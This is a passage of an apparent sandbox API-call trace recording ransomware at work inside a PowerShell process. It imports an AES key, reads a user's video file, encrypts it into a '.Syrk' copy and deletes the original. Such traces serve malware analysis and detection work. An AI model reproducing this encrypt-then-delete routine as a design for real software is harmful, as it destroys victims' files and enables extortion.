(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0256.627] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0256.627] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0256.627] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0256.627] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0256.627] EtwEventActivityIdControl () returned 0x0 [0256.627] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0256.628] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0256.628] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0256.628] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0256.630] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d298) returned 1 [0256.632] CryptImportKey (in: hProv=0x5c4d298, pbData=0x2540b6c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c997a0) returned 1 [0256.632] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.632] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.633] EtwEventActivityIdControl () returned 0x0 [0256.633] EtwEventActivityIdControl () returned 0x0 [0256.633] EtwEventActivityIdControl () returned 0x0 [0256.639] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4")) returned 0x20 [0256.640] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4")) returned 0x20 [0256.640] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0256.640] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", lpFilePart=0x0) returned 0x28 [0256.641] EtwEventActivityIdControl () returned 0x0 [0256.641] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.641] EtwEventActivityIdControl () returned 0x0 [0256.641] EtwEventActivityIdControl () returned 0x0 [0256.641] EtwEventActivityIdControl () returned 0x0 [0256.643] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0256.643] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", lpFilePart=0x0) returned 0x28 [0256.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0256.643] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0256.643] GetFileType (hFile=0x364) returned 0x1 [0256.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0256.643] GetFileType (hFile=0x364) returned 0x1 [0256.643] EtwEventActivityIdControl () returned 0x0 [0256.644] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.644] EtwEventActivityIdControl () returned 0x0 [0256.644] EtwEventActivityIdControl () returned 0x0 [0256.644] EtwEventActivityIdControl () returned 0x0 [0256.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0256.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4.Syrk", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4.Syrk", lpFilePart=0x0) returned 0x2d [0256.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0256.645] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0256.646] GetFileType (hFile=0x368) returned 0x1 [0256.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0256.646] GetFileType (hFile=0x368) returned 0x1 [0256.646] EtwEventActivityIdControl () returned 0x0 [0256.646] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x255096c | out: pbBuffer=0x255096c) returned 1 [0256.647] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.647] CryptDuplicateKey (in: hKey=0x5c997a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c998a0) returned 1 [0256.647] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.648] CryptSetKeyParam (hKey=0x5c998a0, dwParam=0x4, pbData=0x2551ca4*=0x1, dwFlags=0x0) returned 1 [0256.648] CryptSetKeyParam (hKey=0x5c998a0, dwParam=0x1, pbData=0x2551c70, dwFlags=0x0) returned 1 [0256.648] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.648] EtwEventActivityIdControl () returned 0x0 [0256.648] EtwEventActivityIdControl () returned 0x0 [0256.648] EtwEventActivityIdControl () returned 0x0 [0256.649] EtwEventActivityIdControl () returned 0x0 [0256.649] ReadFile (in: hFile=0x364, lpBuffer=0x25548e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x25548e0*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0256.655] CryptEncrypt (in: hKey=0x5c998a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x237343c*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x237343c*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0256.664] WriteFile (in: hFile=0x368, lpBuffer=0x235dfcc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x235dfcc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0256.665] WriteFile (in: hFile=0x368, lpBuffer=0x2374428*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2374428*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0256.667] ReadFile (in: hFile=0x364, lpBuffer=0x235f430, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x235f430*, lpNumberOfBytesRead=0x5a2e7d8*=0x5f2, lpOverlapped=0x0) returned 1 [0256.668] CryptEncrypt (in: hKey=0x5c998a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2387454*, pdwDataLen=0x5a2e7cc*=0x5f0, dwBufLen=0x5f0 | out: pbData=0x2387454*, pdwDataLen=0x5a2e7cc*=0x5f0) returned 1 [0256.668] ReadFile (in: hFile=0x364, lpBuffer=0x235f430, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x235f430*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0256.668] CryptEncrypt (in: hKey=0x5c998a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2387a50*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2387a50*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0256.668] CryptEncrypt (in: hKey=0x5c998a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2387a6c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2387a6c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0256.668] WriteFile (in: hFile=0x368, lpBuffer=0x235dfcc*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x235dfcc*, lpNumberOfBytesWritten=0x5a2e7f8*=0x600, lpOverlapped=0x0) returned 1 [0256.668] CloseHandle (hObject=0x368) returned 1 [0256.671] CloseHandle (hObject=0x364) returned 1 [0256.671] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.671] EtwEventActivityIdControl () returned 0x0 [0256.671] EtwEventActivityIdControl () returned 0x0 [0256.671] EtwEventActivityIdControl () returned 0x0 [0256.694] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4")) returned 0x20 [0256.696] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0256.696] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", lpFilePart=0x0) returned 0x28 [0256.696] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0256.696] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0256.696] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0256.696] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0256.696] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0256.697] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0256.697] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0256.697] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0256.697] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0256.697] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0256.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0256.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0256.697] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0256.697] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0256.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0256.698] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0256.698] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4")) returned 0x20 [0256.698] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0256.698] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", lpFilePart=0x0) returned 0x28 [0256.700] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0256.700] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", lpFilePart=0x0) returned 0x28 [0256.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0256.701] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0256.701] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", lpFilePart=0x0) returned 0x28 [0256.701] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0256.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0256.701] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0256.701] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0256.701] CoTaskMemFree (pv=0x3b0008) [0256.703] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4")) returned 0x20 [0256.705] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0256.705] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4", lpFilePart=0x0) returned 0x28 [0256.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0256.705] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4"), fInfoLevelId=0x0, lpFileInformation=0x23927f4 | out: lpFileInformation=0x23927f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a3de40, ftCreationTime.dwHighDateTime=0x1d99906, ftLastAccessTime.dwLowDateTime=0xfaf1f6d0, ftLastAccessTime.dwHighDateTime=0x1d99913, ftLastWriteTime.dwLowDateTime=0xfaf1f6d0, ftLastWriteTime.dwHighDateTime=0x1d99913, nFileSizeHigh=0x0, nFileSizeLow=0x145f2)) returned 1 [0256.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0256.706] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4")) returned 1 [0256.707] EtwEventActivityIdControl () returned 0x0 [0256.708] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.708] EtwEventActivityIdControl () returned 0x0 [0256.708] EtwEventActivityIdControl () returned 0x0 [0256.708] EtwEventActivityIdControl () returned 0x0 [0256.715] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4.syrk")) returned 0x20 [0256.716] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4.syrk")) returned 0x20 [0256.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0256.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4.Syrk", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4.Syrk", lpFilePart=0x0) returned 0x2d [0256.716] EtwEventActivityIdControl () returned 0x0 [0256.717] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.717] EtwEventActivityIdControl () returned 0x0 [0256.717] EtwEventActivityIdControl () returned 0x0 [0256.717] EtwEventActivityIdControl () returned 0x0 [0256.724] EtwEventActivityIdControl () returned 0x0 [0256.724] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.724] EtwEventActivityIdControl () returned 0x0 [0256.724] EtwEventActivityIdControl () returned 0x0 [0256.724] EtwEventActivityIdControl () returned 0x0 [0256.728] EtwEventActivityIdControl () returned 0x0 [0256.728] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.729] EtwEventActivityIdControl () returned 0x0 [0256.729] EtwEventActivityIdControl () returned 0x0 [0256.729] EtwEventActivityIdControl () returned 0x0 [0256.732] EtwEventActivityIdControl () returned 0x0 [0256.732] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.733] EtwEventActivityIdControl () returned 0x0 [0256.733] EtwEventActivityIdControl () returned 0x0 [0256.733] EtwEventActivityIdControl () returned 0x0 [0256.768] EtwEventActivityIdControl () returned 0x0 [0256.769] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.769] EtwEventActivityIdControl () returned 0x0 [0256.769] EtwEventActivityIdControl () returned 0x0 [0256.769] EtwEventActivityIdControl () returned 0x0 [0256.773] EtwEventActivityIdControl () returned 0x0 [0256.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0256.777] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\qgeTWMdHrM.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\qgetwmdhrm.mp4.syrk"), fInfoLevelId=0x0, lpFileInformation=0x239bc7c | out: lpFileInformation=0x239bc7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x148ff6f0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x148ff6f0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x14925850, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x14614)) returned 1 [0256.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0256.778] GetConsoleOutputCP () returned 0x1b5 [0256.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.778] GetConsoleOutputCP () returned 0x1b5 [0256.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.779] GetConsoleOutputCP () returned 0x1b5 [0256.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.779] GetConsoleOutputCP () returned 0x1b5 [0256.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.779] GetConsoleOutputCP () returned 0x1b5 [0256.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.779] GetConsoleOutputCP () returned 0x1b5 [0256.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.779] GetConsoleOutputCP () returned 0x1b5 [0256.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.780] GetConsoleOutputCP () returned 0x1b5 [0256.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.780] GetConsoleOutputCP () returned 0x1b5 [0256.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.780] GetConsoleOutputCP () returned 0x1b5 [0256.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.780] GetConsoleOutputCP () returned 0x1b5 [0256.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.781] GetConsoleOutputCP () returned 0x1b5 [0256.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.781] GetConsoleOutputCP () returned 0x1b5 [0256.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.804] GetConsoleOutputCP () returned 0x1b5 [0256.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.804] GetConsoleOutputCP () returned 0x1b5 [0256.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.805] GetConsoleOutputCP () returned 0x1b5 [0256.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.805] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0256.805] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0256.806] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23b5ec0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23b5ec0*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0256.806] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0256.806] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0256.807] EtwEventActivityIdControl () returned 0x0 [0256.807] EtwEventActivityIdControl () returned 0x0 [0256.808] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.808] EtwEventActivityIdControl () returned 0x0 [0256.808] EtwEventActivityIdControl () returned 0x0 [0256.808] EtwEventActivityIdControl () returned 0x0 [0256.810] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: 